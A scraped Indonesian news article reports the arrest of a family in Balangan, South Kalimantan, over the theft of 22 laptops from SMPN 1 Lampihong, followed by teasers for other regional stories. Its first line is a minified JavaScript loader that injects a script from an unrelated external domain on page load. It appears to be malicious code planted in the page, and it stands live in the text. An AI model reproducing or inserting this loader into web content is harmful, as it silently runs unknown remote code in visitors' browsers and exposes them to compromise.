(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BALANGAN

Kisah Keluarga Pencuri dari Balangan, Gasak 22 Laptop Milik SMPN 1 Lampihong


PARINGIN, Satu keluarga komplotan pelaku pencurian 22 laptop di SMPN 1 Lampihong berhasil diringkus Polres Balangan. Mereka merupakan warga yang tinggal di Kecamatan Paringin Selatan, Kabupaten Balangan, Kalsel.

Pelaku pencurian sendiri sejatinya adalah dua kakak beradik SF (21) dan AR (17). Sedangkan berperan sebagai penjual laptop adalah sang ayah, SU (44) dan ibunya HM (40) yang mengetahui kasus pencurian tersebut.

Unikya, AR dulunya merupakan alumni SMPN 1 Lampihong. Dari pengakuannya, bahkan AR sempat menggunakan laptop tersebut untuk pelaksanaan UNBK 2019. Saat ini AR juga merupakan siswa pada satu SMA di Kabupaten Balangan.

Kapolres Balangan AKBP Moh Zamroni mengatakan, pencurian ini berawal dari laporan kepala sekolah SMPN 1 Lampuhong pada 14 September 2019. Pihak sekolah melaporkan kehilangan inventaris sekolah sebanyak 22 unit laptop.

Dari laporan ini, anggota polres Balangan melakukan penyidikan lapangan dan ditemukan keterangan yang mengarah ke tersangka. “Keterangan awal anggota daparkan dari warga bahwa ada seseorang yang menawarkan laptop milik Acer dengan ciri-ciri yang sama dengan laptop yang hilang di Desa Warukin. Dari informasi itu, kami langsung lakukan penangkapan,” ujar AKBP Moh Zamroni kepada wartawan, Rabu (9/10).

Polisi meringkus lebih dulu pelaku inisial SF dengan barang bukti tiga buah laptop merek Acer. Dari pengakuan SF, petugas Polsek Lampihong yang dipimpin langsung Kapolsek Lampihong Ipda Kuswanto menangkap tiga tersangka lain yakni AR, SU, dan HM di rumahnya, pada Kamis (3/10) lalu.

Barang bukti yang bisa diambil dari tiga pelaku ini sebanyak 18 laptop merk Acer warna silver dan satu buah laptop merk Wearles warna Hitam. Empat unit laptop lainnya sudah dijual pelaku. “Tersangka ini akan kita kenakan pasal tindak pidana pencurian dengan pemberatan sebagaimana dimaksud dalam rumusan pasal 363 KUHP,” terangnya.(cel/kmp)

Reporter : Cel/kmp
Editor : Chell


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.